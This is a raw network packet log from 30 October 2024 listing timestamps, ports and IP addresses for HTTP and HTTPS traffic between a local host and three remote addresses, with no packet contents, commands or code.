Oct 30, 2024 11:45:37.584675074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584690094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.584709883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584769011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.585524082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.585560083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.585591078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.585647106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.585755110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.585822105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.586086035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.586180925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.594517946 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.594567060 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.594599009 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.594605923 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.594650030 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.692162991 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.692653894 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.692681074 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.693119049 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.693125010 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.699939966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.699992895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700001001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700028896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700062037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700083971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700097084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700125933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700131893 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700146914 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700248957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700310946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700362921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700412035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700419903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700448036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700465918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700484037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.700496912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.700659037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.701169968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.701204062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.701323986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.702197075 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.702692986 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.702709913 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.703648090 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.703653097 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.713152885 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.713181973 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.713236094 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.713246107 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.713275909 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.713294983 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.741966963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.742048025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.742245913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.742292881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.791435003 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.791486979 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.791528940 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.791538954 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.791565895 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.791587114 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.804341078 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.804792881 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.804809093 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.805247068 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.805252075 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.815345049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815381050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815416098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815418005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.815439939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.815453053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815463066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.815570116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815608978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.815649986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815695047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815704107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.815728903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815763950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.815779924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.815812111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.816287994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.816323996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.816351891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.816356897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.816380024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.816483021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.820488930 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.820899010 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.820923090 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.821378946 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.821384907 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.832243919 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.832309961 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.832410097 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.832448959 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.832495928 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.832532883 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.832550049 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.832559109 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.832565069 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.835117102 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.835161924 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.835675955 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.835802078 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.835819960 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.841919899 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.842068911 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.842226028 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.842226028 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.842257977 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.842267990 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.845501900 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.845535994 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.845801115 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.845926046 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.845942020 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.898725033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.898756981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.898806095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.898839951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.900705099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.900767088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.901031017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.901201963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.909574986 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.909624100 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.909641981 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.909648895 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.909668922 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.909688950 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.931152105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931186914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931221008 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931238890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931238890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931273937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931307077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931308031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931334019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931356907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931369066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931406975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931535959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931569099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931591988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931611061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931619883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931653976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931659937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.931689024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931720972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.931797028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.942523956 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.942606926 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.942679882 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.943207979 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.943214893 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.943285942 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.943290949 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.950752020 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.950817108 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.950841904 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.950855970 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.950928926 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.950928926 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.952438116 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.952470064 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.952665091 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.956386089 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.956403017 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.959734917 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.959793091 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.960494995 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.960593939 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.960609913 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.960619926 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.960625887 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.962941885 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.962981939 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.963076115 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.963238001 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.963253975 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.013921976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.013958931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.014041901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.015763998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.015846968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.016077042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.017293930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.029068947 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.029133081 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.029141903 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.029179096 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.029196024 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.029213905 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.046556950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.046581984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.046597004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.046628952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.046648979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.046667099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.046681881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.046684027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.046691895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.046705008 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.046739101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.046953917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047003984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047017097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047061920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.047334909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047359943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047377110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047391891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.047393084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.047419071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.047434092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.070226908 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.070276022 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.070354939 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.070354939 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.070367098 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.070539951 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.129195929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.129317999 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.129328966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.129391909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.130964994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.131036043 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.131063938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.131076097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.147712946 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.147782087 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.147785902 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.147793055 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.147821903 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.147890091 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.147933960 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.148386955 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.148399115 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.161393881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161465883 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.161477089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161493063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161535978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161552906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161571026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161578894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.161591053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.161613941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.161637068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.162262917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162301064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162319899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162338018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162357092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.162384987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.162868977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162884951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162900925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162916899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.162944078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.162967920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.244728088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.244743109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.244811058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.276858091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.276972055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277004957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277004957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277019978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277050018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277062893 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277097940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277108908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277133942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277143955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277170897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277177095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277219057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277527094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277579069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277580976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277617931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277623892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.277652979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277688026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.277724981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.278305054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.278358936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.278409958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.278445005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.278908014 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.314528942 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.314552069 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.314708948 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.314979076 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.314991951 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.320411921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.320621014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.320643902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.320663929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.321346998 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.359672070 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.359714031 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.360366106 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.360377073 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.392190933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392205954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392242908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.392265081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.392313004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392343998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392359018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392364025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.392374992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.392376900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392405033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.392416000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.392925978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392942905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392960072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392976046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.392990112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.393017054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.393464088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.393486977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.393515110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.393529892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.393538952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.393547058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.393568039 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.393582106 CET	49888	80	192.168.2.6	185.215.113.206
